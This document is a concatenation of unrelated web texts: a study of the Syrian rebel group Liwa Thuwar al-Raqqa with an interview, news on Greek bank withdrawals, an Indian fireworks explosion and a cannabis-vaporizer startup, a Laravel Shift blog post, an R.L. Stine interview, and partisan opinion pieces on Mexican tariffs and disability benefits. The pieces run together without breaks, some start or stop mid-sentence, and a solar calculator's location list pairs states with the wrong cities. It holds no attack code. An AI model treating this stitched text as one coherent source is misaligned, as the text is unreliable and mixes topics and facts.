As the months continued, Liwa Thuwar al-Raqqa claimed occasional low-scale sabotage attacks and clashes with ISIS in Raqqa province, usually in coordination with another brigade that also took refuge in the Kobani canton: Liwa al-Jihad fi Sabil Allah, aligned with the opposition-in-exile. Thus on 9 June 2014, the two groups claimed to have attacked an ISIS bridge and checkpoint installation near Raqqa city. They also sent a message of solidarity to the rebels in Deir az-Zor province as ISIS continued its advance and threatened to overrun the entire province. Liwa Thuwar al-Raqqa also claimed a prisoner exchange with ISIS, in which the former released 3 ISIS operatives in exchange for 13 prisoners held by ISIS.
In September 2014, Liwa Thuwar al-Raqqa along with a number of rebel groups in the Kobani area joined the Burkan al-Furat (‘Euphrates Volcano’) coalition led by the YPG, and participated in the battle of Kobani as well as the subsequent push eastwards following the failure of the Islamic State to take the city. Liwa Thuwar al-Raqqa appears to have been the main rebel auxiliary force alongside the Kata’ib Shams al-Shamal formation of the Dawn of Freedom Brigades, which unlike Liwa Thuwar al-Raqqa draws its membership mainly from rebel groups (e.g. Liwa al-Tawheed) that existed in north-eastern Aleppo province localities such as Manbij.
As the Islamic State was driven back towards Tel Abyad, a clarification was broadcast that only Liwa Thuwar al-Raqqa would be allowed to enter Arab localities. In an interview with Orient News, it was affirmed that “the door of repentance is open. God is forgiving, merciful.” This ostensibly parallels one of the Islamic State’s own methods of securing control over a new area it takes: offering the chance for repentance. However, it was also made clear that the hand of mercy would only be extended to those whose hands were not stained “with the blood of Syrians. As for those whose hands are stained with the blood of Syrians, there is no mercy for them except killing, by God’s permission.” Abu Eisa also denied allegations that Burkan al-Furat had engaged in ethnic cleansing of Arabs in areas retaken from the Islamic State. Reflecting its political agenda more clearly, Liwa Thuwar al-Raqqa uses this logo now:
“Free Syrian Army: Liwa Thuwar al-Raqqa”, with the familiar FSA emblem.
At the present time, Liwa Thuwar al-Raqqa appears to be the primary rebel actor responsible for outreach to the Arab tribes in northern Raqqa province (e.g. photo below), also claiming administration over the Ain Issa area to the south of Tel Abyad.
The group is hoping to push further south to Raqqa city, though the prospects of such an assault being successful are slim now and for the near future at least, as the Islamic State has deployed its special Jaysh al-Khilafa division to solidify the defence of Raqqa city. In the long-run, the alliance with the YPG in the Burkan al-Furat coalition seems problematic, as Liwa Thuwar al-Raqqa and the YPG/PYD have different political visions. Liwa Thuwar al-Raqqa is committed, like most rebel forces, to the concept of a unified Syria that suspects any Kurdish autonomous administration projects as working towards taqsim Souriya (‘division of Syria’). Liwa Thuwar al-Raqqa has already alluded to these issues somewhat obliquely in a recent statement denying rumours that Tel Abyad would be subsumed administratively to the PYD’s Kobani canton:
“The Tel Abyad area will wholly remain administratively with Raqqa governorate and we do not accept modification of the administrative borders for Raqqa governorate and changing the affiliation of any area under the name of any entity. What is being circulated in suggestion about the affiliation of the Tel Abyad area in administration is not within the special powers of the local council or any other council or committee. This matter requires a law and legislative committee to decide on that. And we are in an exceptional state of affairs. It is not possible to adopt any decision to change the administrative borders or affiliation of any area.”
One should also note the reference to a ‘local council’ here: on 26 August, Liwa Thuwar al-Raqqa issued an invitation for participation in a conference for the election of the local council for Raqqa province, particularly calling on members of the nominal electoral committee to participate. This conference was supposed to take place on 28 August in the Turkish city of Urfa, but as the Arabic outlet al-Aan notes, it failed to lead to the election of a local council. Out of 107 members of the electoral committee, only 4 showed up alongside representatives of the opposition-in-exile government. It would appear that the majority of those from Raqqa province in exile do not see it as worthwhile to elect a local council to provide civilian support to Liwa Thuwar al-Raqqa, recognizing that the Islamic State still controls most of the province and the PYD is the true administrator of the important town of Tel Abyad, for which the PYD has already formed its own local and seniors councils.
This is why, as I have emphasized before, it is highly misleading to go by Thomas van Linge’s maps that portray Tel Abyad and similar areas as somehow jointly controlled by the YPG and the ‘FSA’, driven as Thomas van Linge is by an ideological agenda to hype supposed Kurdish-rebel unity. Yes, it may be that the PYD takes into account for the time being local Arab and Turkmen objections to incorporating Tel Abyad into Kobani, and certainly it has little interest in pushing further south to Raqqa city and thus delegates an area like Ain Issa to Liwa Thuwar al-Raqqa. Yet the playing up of ‘YPG-FSA’ cooperation tends to ignore the fact that the YPG has done the bulk of the fighting, sustained the bulk of the casualties, and as a result its political wing the PYD has come to be the administrator of the vast majority of localities retaken from the Islamic State.
Corroborating this point for the Tel Abyad area in particular is an order from the PYD’s Asayish police division forbidding travel between Tel Abyad and Raqqa, as well as importation of various goods from Raqqa to Tel Abyad, including building materials, fuels and electrical and manufacturing apparatuses. While these decisions are understandable in that the PYD worries that bombs may be smuggled in amid the imported goods and wants to cut off as many revenue sources as possible for the Islamic State in so far as the continued cash flow between non-Islamic State and Islamic State-held areas is key for Islamic State revenue via taxation, it is clear there was no consultation here with the rebel groups in Burkan al-Furat.
To sum up, we have traced the evolution of the rise, fall and re-emergence of Liwa Thuwar al-Raqqa from 2012 to the present day, first as one of a number of indigenous, nationalist rebel groups in Raqqa province, to a non-ideological Jabhat al-Nusra affiliate, and finally to an uneasy, junior partner of the YPG. To shed further light on these issues, below is an interview I conducted recently with the director of Liwa Thuwar al-Raqqa’s media office.
Interview
Q: Where was Liwa Thuwar al-Raqqa established and from where are most of the members of Liwa Thuwar al-Raqqa (i.e. Raqqa, Ayn Issa)?
A: It was in the north Raqqa countryside in the border town of Tel Abyad. Most members are from Raqqa, some from Raqqa, others from the countryside.
Q: Jabhat al-Nusra says you gave bay’a [allegiance] but you deny you gave bay’a to them? You mean it was just a military alliance?
A: Yes an alliance to expel the Dawla organization from Raqqa.
Q: And when did the alliance end?
A: It ended because of their lack of support for us during our battle with Da’esh and they withdrew from Raqqa without informing us of that.
Q: In their statement on the end of the alliance they say that you had agreed on Shari’a sessions. True or not?
A: No, not true.
Q: After Raqqa fell to Da’esh’s hand, did most of their [Liwa Thuwar al-Raqqa] members go to Kobani?
A: Yes.
Q: How many martyrs do you have from the battles in Kobani, Tel Abyad and Ain Issa?
A: I am not sure but approximately 30.
Q: Many of the factions say the PYD wants taqsim Souria [division of Syria]. Do you agree?
A: Yes. They had a plan of division but amid our opposition to the matter of joining Tel Abyad to Kobani [canton] our opinion was taken into account.
Q: Is Liwa Thuwar al-Raqqa administering any areas?
A: Currently only the locality of Ain Issa.
Q: I heard that you are trying to establish relations with the tribes in the north Raqqa countryside. What are the names of these tribes?
A: Many names: al-Mashhur, Albu Assaf, Albu Khamees, Jais, Albu Shamis, Albu Jarad, Albu Issa
Q: Do you want a civil or Islamic state?
A: Civil democratic state.
Q: With regards to the other battalions in Burkan al-Furat are they administering liberated areas or do they only have a military presence? That is, if I understand correctly, Kata’ib Shams al-Shamal for example wants to recover Jarabulus and Manbij?
A: Yes, they want to recover Jarabulus and Manbij and administer them.
Q: When do you expect that you will try to recover Raqqa city?
A: When we are given sufficient support we will recover Raqqa city soon, but if things remain as they are the time to liberate it will be delayed a lot.
Q: Do you have relations with the Syrian opposition in Turkey or are you independent?
A: No, we are independent.
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RedditNERVOUS Greeks are withdrawing up to 800 million euros ($1.01 billion) a day and stocking up on canned food as they fear the country will be forced to leave the eurozone after this Sunday's election.
Greek citizens fear the ramifications of a return to the country’s previous currency, the drachma, if the radical left-wing party and strong election contender SYRIZA wins this weekend.
Bankers said daily withdrawals from the major banks were hitting €500-€800 million ($631.8 million-$1.01 billion), Reuters reported.
Meanwhile, retailers say consumers are stocking up on non-perishable foods like pasta and canned goods.
Analysis: What the Greek elections mean for all of us
Latest polls showed the conservative New Democracy party, which supports a €130 billion international bailout, is running neck-and-neck with the leftist SYRIZA party.
SYRIZA leader Alexis Tsipras is pledging to tear up the bailout deal, saying that the austerity conditions attached to the money are so catastrophic for the country they must be rejected.
If the country renounces its bailout terms, Greece's international partners could stop providing the rescue loans, which would lead it to default and force it out of the eurozone.
Reports overnight said that Greece only had about €2 billion euros ($2.52 billion) left in its coffers, which would only last until July 20.
Greece’s finance minister refused to comment but the country’s labour minister said that Greece should have enough cash to pay pensions at least for July.
If Greece walked away from the euro, the drachma’s value against other currencies would plunge along with the earnings of Greek workers.
Cost of living would spike on the back of rises in interest rates and import prices.
Originally published as Election apocalypse: Greeks hoard canned foodSystem Location: AL, Montgomery AK, Bethel AK, Fairbanks AK, Mantanuska AZ, Page AZ, Phoenix AZ, Tucson AR, Little Roc CA, Davis CA, Fresno CA, Inyokem CA, La Jolla CA, Los Angeles CA, Riverside CA, Santa Maria CA, Soda Springs CO, Boulder CO, Granby CO, Grand Junction CO, Grand Lake D. C. Washington FL, Apalachicola FL, Belle Islan FL, Gainesville FL, Miami FL, Tampa GA, Atlanta GA, Griffin HI, Honolulu IA, Ames ID, Twin Falls ID, Boise IL, Chicago IN, Indianapolis KS, Dodge City KS, Manhattan KY, Lexington LA, Lake Charles LA, New Orleans LA, Shreveport MA, Blue Hill MA, Boston MA, E. Wareham MA, Lynn MA, Natick MD, Silver Hill ME, Caribou ME, Portland MI, E. Lansing MI, Sault Ste. Marie MN, St. Cloud MO, Columbia MO, St. Louis MS, Meridian MT, Glasgow MT, Great Falls MT, Summit NC, Cape Hatteras NC, Greensboro ND, Bismark NE, Lincoln NE, North Omaha NJ, Sea Brook NM, Albuquerque NV, Ely NV, Las Vegas NY, Bridge Hampton NY, Ithaca NY, New York NY, Rochester NY, Schenectady OH, Cleveland OH, Columbus OK, Oklahoma City OK, Stillwater OR, Astoria OR, Corvallis OR, Medford PA, Pittsburgh PA, State College RI, Newport SC, Charleston SD, Rapid City TN, Nashville TN, Oak Ridge TX, Brownsville TX, El Paso TX, Fort Worth TX, Midland TX, San Antonio UT, Flaming Gorge UT, Salt Lake City VA, Richmond WA, Prosser WA, Pullman WA, Richland WA, Seattle WA, Spokane WV, Charleston WI, Madison WY, Lander
Off Grid System Calculator BETA V1.1
This tool will help you to determine the size of your battery bank and the number of PV panels you will need. First add your devices, then adjust your settings, and then view the results. Switch between tabs at any time to make changes.
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Release Notes:
V1.1, 3-4-2016: Added temperature correction to 80F. Added three season calculations. Corrected the inverted charge/discharge efficiency.Tickets to this year’s Chick-fil-A Peach Bowl went on sale to the general public today, with a couple of incentives attached.
Bowl officials said buyers of tickets for this year’s game will be guaranteed the right to purchase tickets for the 2016 game at the same prices when they go on sale next year — a potentially marketable offer since next year’s game will be a national semifinal in the College Football Playoff.
In addition, bowl officials said those who purchase tickets for this year’s game and also purchase 2016 semifinal tickets during the renewal period next year will be guaranteed access to buy tickets for the 2016 Chick-fil-A Kickoff season opener between Georgia and North Carolina at the Georgia Dome.
Tickets for this year’s Peach Bowl can be purchased online or by phone at 404-586-8499. Prices range from $110 to $235.
The game is scheduled for noon Dec. 31.Less than a year ago I created Laravel Shift. While not my first product, it is my first software as a service (SaaS). If you're not familiar with Laravel Shift or interested in the backstory check out the Q&A on Laravel News or listen to the interview on Full Stack Radio.
In this post, I want to focus more on reaching the milestone of 1,000 Laravel applications upgraded. This may not sound like many, however for my first SaaS product it marks the achievement of my stretch goal. So allow me to share the most important decision, biggest challenge, and what the future holds for Laravel Shift.
A product, not a project
Like many developers I have dozens of personal projects. Some I work on, some I don't, most I never complete. That's normally okay because if nothing else they are learning opportunity.
To that point, that's something my personal projects have taught me - you have to distinguish between a project and a product. This can be tough because we're passionate about our ideas. As such we're willing to spend countless hours trying to bring them to life. It's easy to think, "Who cares? It's just my time." But when treated as a product, we start to value our time. Because as a creator your time is the most valuable.
I took this even further by treating Shift not only as a product, but a minimum viable product (MVP). Initially Shift only supported upgrading to the latest version of Laravel (upgrading from 5.0 to 5.1). I remember during this initial release, Jeffrey Way tried it out on Laracasts and reported Shift as a "cool tool", but "somewhat buggy".
Such feedback coming from a big name in the Laravel community could be crushing. But not for Shift. Because I knew I built an MVP. Its features were deliberately limited until I proved the product. Proof came in preset milestones of 100, 250, 500, and 1,000 Shifts. Each time Shift reached a milestone, I would spend more time either fixing bugs, adding minor features, or releasing new Shifts.
I feel the decision to adopt an incremental, measured approach has been the most important, and provided the foundation to continue to grow Shift.
A developer, not a marketer
As with any product, marketing can be a challenge. Being a programmer, I carry with me the stigma of social awkwardness. The last thing I'm comfortable doing is peddling my product to the public. Fortunately, Shift has granted me personal recognition within the Laravel community. This has allowed me to appear on podcasts and speak at Laracon. So I am thankful to be given these opportunities to mention Shift.
Shift also has a marketing sub-challenge. Many say Shift "should cost more". This has been my biggest challenge. On one hand, charging more would increase revenue. On the other hand, increasing price could slow growth. I'm not sure what's best. So, I do what I'm comfortable with.
I have risen prices slightly, particularly for shifting older versions of Laravel. Which really I consider an incentive to stay up-to-date. I also accept donations. Although there have been a few, I realize getting more money after-the-fact is a low probability. Nonetheless, it's available for those wanting to show their appreciation or who use Shift commercially.
I expect pricing will always be a challenge. For now, I'd rather users say Shift "should cost more" than say Shift "costs too much".
A beginning, not an end
So now that Shift has achieved its initial milestones, what's next?
Generally, the next milestones will be 2,500, 5,000, and 10,000 Laravel applications upgraded.
More specifically, a redesign for laravelshift.com is already underway. It will include a dashboard for managing your Shifts as well as streamlining the purchase process.
In addition, I'm formally announcing a set of human services from Laravel Shift. While these have always been available, they were briefly mentioned on the FAQ page and only offered by request. Now you can purchase them just as you would a Shift.
Finally, I'll begin development on the most requested feature - support for upgrading Laravel Packages. My plan is to release these with the redesign (or shortly after). Support for Lumen has been requested, but my MVP approach forces me to prioritize Laravel Packages first.
So, until the next milestone, keep shifting!
Find this interesting? Let's continue the conversation on Twitter.New time-lapse video released by Google Earth Engine in partnership with Time Inc. gives audiences an unprecedented look at how the Earth’s surface has evolved over the past three decades. The new footage from the last four years adds to a project begun in 1984, using five different satellites to shoot a total of 5.4 million images.
Some of the most arresting shots come from China, which has seen rapid development in urban hubs like Beijing, Shanghai, and Shenzhen, but also lesser-known cities like Tianjin, Chongqing, Wuhan, and Nanjing. Viewers can watch structures like the Beijing Capital International Airport being built from the ground up or see Shanghai’s Pudong area go from greenery to bustling metropolis in a few seconds.
In addition to industrial growth, the images capture the effects of natural and man-made ecological change in places like Miruixiang, southwest China’s Tibet Autonomous Region, and the Longyangxia Dam Solar Park in northwest China’s Qinghai province. Viewers can see how urban development ate away at Wuhan’s many lakes, which was one major cause of the flooding that submerged much of the city in central China’s Hubei province in July.
Google’s time-lapse footage shows rapid change and urban development in China from 1984 to 2016.
With contributions from Jessica Levine.
(Header image: This image shows urbanization in Beijing between 1984 and 2016. Google Earth)It has been a hectic last couple of days and it is very hard to keep up with all the news. I take a long weekend and here we are with multiple topics for me to choose from. It seems like it is not enough to do one article a day with the quicksilver speed that Trump is moving in. I may do more soon. I’ll start with the tariff proposal to Mexico and the other methods discussed to make them pay for the wall. Make no mistake we will Build That Wall and Mexico will pay for it, though they will not do so voluntarily.
Logic
First of let me point out the logic trap for easy use. In 2014 Russia invaded Crimea. We retaliated with economic sanctions to get them to correct their behavior. We were told that the American economy was strong enough to impact the Russian one half a world a way and it looks like, outside of some very specific companies, there was no impact to the US economy.
Now we are told the US economy is too weak to impose sanctions on Mexico, which is essentially what the 20% tariff is, and it would devastate the US economy while Mexico would have no trouble finding other trading partners. Either the US has gotten absurdly weaker in the last 2 years of Obama or you can smell the BS from here.
Competition
This is the primary reason why you a 20% tariff of Mexican goods will not affect you. I guarantee you any product shipped from Mexico has a competitor. I also guarantee you that the price is nearly the same or even less and Mexico does not have the monopoly on any given market. If you are a business worried about your supply chain I guarantee you that another supplier sells that widget for the same price. If you are a mega corporation who set up a factory in Mexico taking away jobs from Americans to take advantage of cheaper labor. Well, this is part of the risks of outsourcing. You knew that coming in.
What the media or our economists who push for globalization fail to mention is that Mexico does not have a monopoly on anything. Say you get a soccer ball from Mexico. You normally paid 2$ for it. We place a tariff. According to the economists this would be passed on to the consumers 100%. In that case you would then be paying 4$ for the ball. What is the most likely scenario though? Would you still buy that soccer ball for 4$ or would you buy one from another country like India or Vietnam from 2$ as well? Given that the quality would most likely be the same most people would select the 2$ option. Knowing that would the Mexican company price their products at 4$ knowing they will lose market share?
Let me reiterate. The only way the arguments by the globalist economists make is valid is if Mexico had an effective monopoly and could charge whatever it wanted. If it had anything close to this on any product it would be as rich as Saudi Arabia or Kuwait. Mexico does not even realistically have the option of selling to other countries as for most products the markets are saturated already and they would be keeping for market share with established players in those markets.
American Jobs
Another persistent message we hear is how would this create American jobs? This would just shift the supplier from Mexico to Vietnam or India. This may be true. Though I would point out at this point we should be making steps to incentivize businesses to come to the US such as lowering taxes.
This executive order does not have to create jobs. Each order or law has a purpose. If you ease regulations you aim to attract new business. If you ban refugees you aim to protect Americans. In this case you aim to extract enough wealth from Mexico to pay for the wall to help with immigration. Not every single executive order and law that will be created under Trump will target jobs.
There you have it. Just apply a little bit of logic and basic economics and you find you have nothing to worry about with a tariff to Mexico.
AdvertisementsBecause we were determined to be number one at something, the US is the largest p0rn hoster in the world, accounting for 60% of all the boobs and penises on the internet -- some 428-million pages worth. That...is a lot of privates. And I've probably only seen a quarter of them.
The data was collected by Paul Walsh of a company called Metacard. He found that the U.S. is second only to the Netherlands, which has 187 million pages for a population of 17 million porn-hungry people. The U.K. came in third with 52 million naughty pages, or about one for every person. Germany was fourth with 8 million pages.
California alone hosts 66% of all US p0rn, making the state responsible for just under 40% of all worldwide p0rn hosting. Wow, what a great state to live in. It's amazing I can even step out the door without running into some internet smut. *runs to get mail, trips over well manicured penis*
Thanks to Lizzie, who's petitioning for her state to ramp up p0rn hosting and put itself on the map.At least 26 people have died after a huge explosion at an illegal fireworks factory in the western Indian state of Rajasthan, police say.
The dead include eight children. The blast in Deeg town near Jaipur early on Thursday left some 20 others injured.
The blast was so powerful that it destroyed the factory in a slum and brought down two neighbouring homes.
Fireworks factories in India are most at risk of accidental explosions around this time of the year.
Indians are celebrating Diwali, the festival of lights, next week and fireworks manufacturers step up production to meet growing demand.
Correspondents say many illegal facilities making and storing fireworks come into operation during this time.
Senior police official Rohit Mahajan said rescue work was going on to determine whether there were more casualties.
In 2005, at least 35 people died in a huge explosion at a fireworks store in northern Bihar state.
In the same year, at least seven people from the same family were killed in a firecracker blast in the western state of Gujarat.
And in 2002, at least 23 people were killed in separate incidents in southern India caused by fireworks explosions.136: The American Way Expanded (3 of 3): The Matches
Picture: The Nazis were certainly not atheists
Part 3 of 3 in an expansion of the School Sucks: The American Way You Tube Video.
Topic:
The American way...
What is this way? Where does it come from? And where does it lead?
In this show: The Chronology
A meandering monologue covering 1000 years of German history.
-The Holy Roman Empire and Biblical Prophecy
-Otto Von Bismark
-The Franco-Prussian War
-German Unification
-The Welfare State
-Imperialism
-Woodrow Wilson and Edward House
-WWI and the Treaty of Versailles
-The Great Depression
-The Rise of Nazism
-Policies of the Third Reich
-The Real Hitler
Look Closer:
INTRODUCING OBJECTIVISM
http://www.aynrand.org/site/PageServer?pagename=objectivism_intro
Objectivism, Hitler, and Kant, by David Gordon
http://www.lewrockwell.com/gordon/gordon13.html
A People's History Of The United States by Howard Zinn
http://www.historyisaweapon.com/zinnapeopleshistory.html
Hitler's War Against the Jews: A Young Reader's Version of The War Against the Jews, 1933-1945, by Lucy S. Dawidowicz
http://books.google.com/books?id=nKl2Vv8HoDwC
John Gatto Prussian Education
Bismarck’s “Blood and Iron” Speech
http://www.edb.gov.hk/FileManager/EN/Content_6332/making_of_modern_world_source10_eng.pdf
Germans on Welfare: From Weimar to Hitler By David F. Crew
http://books.google.com/books?id=2F9TPrhc46sC&pg=PA137&source=gbs_toc_r&cad=4#v=onepage&q&f=false
Nazi Germany Timeline
http://www.spartacus.schoolnet.co.uk/GERchron.htm
Like this: Like Loading...R.L. Stine is a writing machine.
Stine is the author of “Goosebumps” and other series for young readers that have sold more than 350 million copies in 32 languages and inspired television shows, merchandise, a theme park attraction and a Wii game.
For many kids, Stine’s mildly scary books are their first step up from picture books.
“Goosebumps,” which still sell several hundred thousand copies a month, celebrated its 20th anniversary in July. Stine writes six “Goosebumps” books a year, as well as at least one book for adults. He will make an appearance at the National Book Festival in Washington later this month. Stine spoke about how, what and why he writes.
R.L. Stine is the author of the popular “Goosebumps” series of children’s books. (By Dan Nelken)
You’ve sold millions of books. Why is the “Goosebumps” series so popular?
The secret of “Goosebumps”... was it was the first book series to appeal equally to boys and girls.... In fact, these books were originally done for a girl audience. And then the fan mail started coming in, and it was half from boys. I have a boy and a girl in every book.... [The books are] aimed at 7-to-12-year-olds. Second-graders can read them.
There’s little outright cruelty in your stories. Where do you draw the line in terms of what’s appropriate?
I have some rules. No one ever dies in a “Goosebumps” book. If there happen to be ghosts and they are dead, it happened before the book starts. And I don’t do any real serious problems. Kids have to know this is a creepy fantasy and it couldn’t really happen.
When you write, for example, about a hideous mask that the heroine can’t take off, are you writing about some deeper theme?
I didn’t really think of that. When my son was little, he was trying on a green Frankenstein mask and he was pulling it down over his face and he couldn’t get it off. And he was tugging, tugging. I thought, “What a great idea for a story.” I should’ve helped him. I wasn’t a good parent that day.
Do you still claim the title of “the world’s best-selling children’s author”?
I think J.K. Rowling has passed me by. I’m No. 2 now.
What were you into when you were the age of your readers?
I was a very shy kid, very fearful of a lot of things, which is bad when you’re a kid but now it’s very helpful. I can remember that feeling of panic and try to convey that in the books. When I was 9 or 10, I just started staying in my room and typing these stories.
What do kids say when they write to you?
That’s one of the best parts of writing for kids. I get wonderful mail, tons and tons. Here’s a couple classic letters:
“Dear R.L. Stine, I really love your books but can you answer one question, why don’t the endings make any sense?”
“Dear R.L. Stine, I’m huge fan of your books. Your friends and family are proud of you, no matter what anybody says.”
“Dear R.L. Stine, I’ve read 40 of your books and I think they’re really boring.”
That’s my favorite.“My job is to know at all times what’s happening in every game,” Burke said in a recent interview in the Burke-puter.
Some of his 10 functioning monitors are programmed to split into eight or more miniscreens, and he can record from 28 sources at once. This time of year, he is watching a lot of football. On Oct. 6, he watched the New Orleans Saints versus the Chicago Bears; the Philadelphia Eagles versus the New York Giants; the New England Patriots versus the Cincinnati Bengals; the Baltimore Ravens versus the Miami Dolphins — a dozen N.F.L. games in all — as well as two Major League Baseball games, four Premier League soccer matches and a ragtag assortment of other events, starting at 10 a.m. and finishing at 2 a.m. the next day.
“I am not able to do many other things,” Burke said of his life in general.
To people who follow sports news, Burke is known as the person who helped unmask Manti T’eo’s fake dead girlfriend. But it is his particular talent for GIFs — which he posts on Deadspin, Twitter and his own Web site, 30FPS — for which he is known. Not only are his GIFs considered to be of high quality, but he also seems to have a sixth sense for identifying the exact moments to capture.
“He’s made GIFs the standard for sports highlights,” Mathis-Lilley said.
A GIF, pronounced jif, is a compressed image file format invented in 1987. In the last decade, the animated GIF has become popular. Burke has figured out a way to use it in the service of sports reporting.
“It has to be small, it has to be shared quickly, you want it on Twitter and Tumblr, and he’s great at realizing which moments are best for it, which tiny slices are indicative of something larger,” Mathis-Lilley said.
Burke also posts elegant screen captures, and some video, though he tends to use it sparingly and only in situations that lend themselves to it, like the last, roller-coaster day of the Premier League season earlier this year, or the idiotic reports delivered by some television journalists, as he saw it, during the hunt for a suspect after the Boston Marathon bombing. Video is problematic, though, because most platforms will not support the new technology he likes, and because the N.F.L. periodically issues stern letters to Deadspin’s editors ordering them to take things down.
The league has not made much of a fuss over the animated GIFs, which are perfect at capturing instances of embarrassment and absurdity — a baseball player tumbles over a fence, ESPN’s football score box shows one team leading another by 975 points, a spectator swears or a football player mows down another before the play starts. The charm of animated GIFs is in the content — those clumsy moments captured, and repeated again and again. Unlike videos, which provide a smooth stream of action, a GIF is like a digital flipbook, a choppy rendering that adds to the silliness of what happened in real time.
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“Video requires a reader’s intervention to play, whereas a GIF adds itself forcefully,” Burke said.
He added: “It’s an art object. You’re taking this little moment and making it exist in perpetuity, because it constantly loops,” as in a GIF of a fumble by Bears running back Matt Forte.
“A lot of stuff I do here — nobody’s done this stuff,” he said. “How did I learn to do it? I messed around with stuff until I found something that worked.”
To start his day, Burke organizes his desk. He then organizes the games he wants to watch on the various monitors. He makes sure his three Mason jars are filled with water so he will not have to leave the room on the account of thirst. He keeps track of Twitter feeds, Deadspin and breaking news on a monitor he has programmed so he can keep abreast of the many things he needs to keep abreast of.
On one of his computers, he has nine hard drives, which he uses to store the data that he has amassed. He built it himself, “out of components,” he says vaguely.
He starts watching. He fiddles with his monitors. He finds his moments, converts them to GIFs, video snippets and screen capture stills, and feeds them to his colleagues or posts them himself. Since he joined Twitter in 2008, he has written more than 56,650 Twitter posts.
Photo
“He’s so encyclopedic,” Mathis-Lilley said. “If you can get something that Tim didn’t pick up, it’s a triumphant moment, kind of like beating the eye in the sky.”
Alone with his equipment, Burke mutters to himself, to his screens and to his colleagues, who cannot hear what he is saying but |
gotten more openhanded with those claiming vague ailments. Eberstadt points out that in 1960, only one-fifth of disability benefits went to those with "mood disorders" and "musculoskeletal" problems. In 2011, nearly half of those on disability voiced such complaints.
It's A Job
"It is exceptionally difficult — for all practical purposes, impossible," writes Eberstadt, "for a medical professional to disprove a patient's claim that he or she is suffering from sad feelings or back pain."
In other words, many people are gaming or defrauding the system. This includes not only disability recipients but health care professionals, lawyers and others who run ads promising to get you disability benefits.
Between 1996 and 2011, the private sector generated 8.8 million new jobs, and 4.1 million people entered the disability rolls.
The ratio of disability cases to new jobs has been even worse during the sluggish recovery from the 2007-2009 recession. Between January 2010 and December 2011, there were 1,730,000 new jobs and 790,000 new people collecting disability.
This is not just a matter of laid-off workers in their 50s or early 60s qualifying for disability in the years before they become eligible for Social Security old age benefits.
In 2011, 15% of disability recipients were in their 30s or early 40s. Concludes Eberstadt, "Collecting disability is an increasingly important profession in America these days."
Disability insurance is no longer a small program. The government transfers some $130 billion obtained from taxpayers or borrowed from purchasers of Treasury bonds to disability beneficiaries every year.
But there is also a human cost. Consider the plight of someone who at some level knows he can work but decides to collect disability payments instead. That person is not likely to ever seek work again, especially if the sluggish recovery turns out to be the new normal.
He may be gleeful that he was able to game the system or just grimly determined to get what he can in a tough situation. But he will not be able to get the satisfaction of earned success from honest work that contributes something to society and the economy.
I use the masculine pronoun intentionally, because an increasing number of American men have dropped out of the workforce altogether. In 1948, 89% of men age 20 and over were in the workforce.
In 2011, 73% were. Only a small amount of that change results from an aging population. Jobs have become physically less grueling and economically more rewarding than they were in 1948.
The Americans With Disabilities Act helped many people move forward and contribute to society. The explosive growth of disability insurance has had an opposite effect.CannaKorp is a Stoneham-based startup that has earned the title of “Keurig for weed” because of the single-use, pod-based cannabis vaporizing system it has developed, and investors are lining up.
The company announced on Thursday that it has closed a $4.1 million Series A round led by private equity firm Singularity Capital Management, which focuses on the cannabis industry. This brings total funding to $5.7 million.
The funding will be used to launch the company’s CannaCloud vaporizing system in select markets where cannabis is legal later this year. The round will also help the company build out a partner network of dispensaries and processors, which CannaKorp will rely on the distribute and sell the product.
James Winokur, co-founder and CEO at CannaKorp, told me its first markets will be Colorado, Washington state, Oregon, Massachusetts and Rhode Island. All but Rhode Island allow both medical and recreational cannabis use out of those states. The company will also be launching the product in Canada.
Winokur said both its Series A and seed rounds were oversubscribed, representing the level of interest investors have in the company.
The first units of CannaCloud are expected to roll out in April.
The CannaCloud system is expected to retail around $150 to $170, with single-serving pods expecting to cost between $6 and $10 on average depending on the strain and other factors. In the United States, both the systems and pods will be sold at partnering dispensaries. In Canada, everything will be sold online.
For comparison’s sake, a single pod would be equivalent to one pre-roll joint, or one gram of cannabis, which Winokur said might cost $10.
When I asked Winokur, a former executive at PTC, whether CannaCloud is meant for medical or recreational users, he said the company is focused on providing it as a “wellness” product, whether someone has been prescribed cannabis by a doctor or if they’re simply interested in how it can treat ailments.
“We’re really focusing on ‘how do we educate the mainstream that cannabis has a beneficial effect?'”
“We’re really focusing on ‘how do we educate the mainstream that cannabis has a beneficial effect?’” Winokur said. “And that’s what we’re really after.”
Winokur said there are two groups of people they’re targeting: those who already use cannabis and want to consume it in a more convenient and controlled way, and those who haven’t tried it yet and are curious but may not have wanted to consume cannabis through other means that are currently available.
When I watched a promo video where a woman inhales vaporized cannabis using CannaKorp’s clean and slick-looking system, my reaction was how normal the company made cannabis consumption look. For that reason, I can see CannaKorp being a bigger hit with, well, let’s just call them “weed newbies.”
“It helps normalize the industry” is a comment Winokur says he had heard from people because of the CannaCloud’s design. “That’s what we’re hoping for,” he said, noting many others have come before the company in helping normalize it.
Anyone familiar with the history of Keurig, the device that serves coffee through single-serving pods, knows about the sustainability concerns with such a model. After all, Keurig founder John Sylvan himself went on to regret how wasteful and environmentally harmful Keurig’s K-Cups are.
With the CannaCloud, however, that shouldn’t be a concern. Winokur said its single-serving pods will be made out of aluminum, which can be recycled. “By nature of what we’re doing, plastic wouldn’t be acceptable for the pod,” he said.
The CannaCloud was invented by co-founder Michael Bourque, who’s also a former PTC executive. Bourque conducted experiments and analyses, Winokur said, to realize that “inhalation is the best method for most conditions and ailments because it does not combust the plant and it acts very fast in the body.”
Photo provided by CannaKorp.5 Calls debuts what may be the easiest way to call your reps yet
A growing number of political activist websites have popped up in recent days to help those opposed to the Trump administration’s policies and agenda to take action. But a new one, 5 Calls, has just launched its simple online tool that makes the more cumbersome process of getting in touch with your representatives a lot easier than before.
The site, created by a team of volunteers, isn’t very fancy, but it’s certainly efficient.
The idea is that if you have 5 minutes to spare, you can place 5 calls – something that’s far more effective in terms of influencing your representatives and getting your voice heard than emailing is said to be.
And, yes, this site has an anti-Trump, left-leaning agenda, but it’s worth noting its creators have open sourced the code. While this was done largely because of the way the team operated – during their free time, from different locations – it places the code in the public domain. And that means others – including those on the opposing side of the political spectrum – could build their own version of 5 Calls, if they were motivated to keep such a site updated.
5 Calls also offers a good case study in terms of user interface and user experience.
A glance on the homepage shows you how many calls are needed per action item. Then, when you click on an item, the site offers the phone number(s), the reason why it’s important, and the script to use while on the call. The site is also personalized to your location, if you enter your address or zip code.
When you’re finished with the call, you click another button to register your call result (e.g. “made contact,” “left voicemail,” etc.). The site will track call results to help them understand the impact they’re having, and where to direct future efforts. However, no personal information about the site’s users is being recorded.
